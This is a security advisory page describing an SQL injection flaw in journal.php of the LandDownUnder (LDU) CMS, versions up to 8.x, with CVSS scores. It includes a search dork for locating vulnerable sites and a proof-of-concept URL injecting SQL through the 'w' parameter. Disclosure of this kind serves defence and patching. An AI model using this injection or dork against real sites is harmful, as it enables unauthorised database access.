LDU <= 8.x (journal.php) SQL Injection Vulnerability

2007.01.02
Credit: St@rExT
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# BhhGroup.Org & Trtekforum.com #Found By : St@rExT # script name : LandDownUnder [LDU] #Version : All #Dork : "Powered by LDU" # Script sites : http://www.neocrome.net #Vull name : LDU <= 8.x (journal.php) SQL Injection Vulnerability # Vulnerable file : Journal.inc.php http://victim.com/[scriptpath]/journal.php?m='&s=username&w=SELECT * FROM $db_journals WHERE jrn_userid='$jrn_userid' AND jrn_minlevel<='".$usr['level']."' ORDER BY jrn_$s $w #[SQL Vuln.] : http://victim.com/[scriptpath]/journal.php?m='&s=username&w=[SQL Inject] #Contact: StareXt (at) msn (dot) com [email concealed] ######## - Tm Mslman insanlar&#305;n Bayram&#305;n&#305; Kutlar&#305;m.. : ) - ##### ################### - Ne Mutlu Trkm Diyene - ###################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top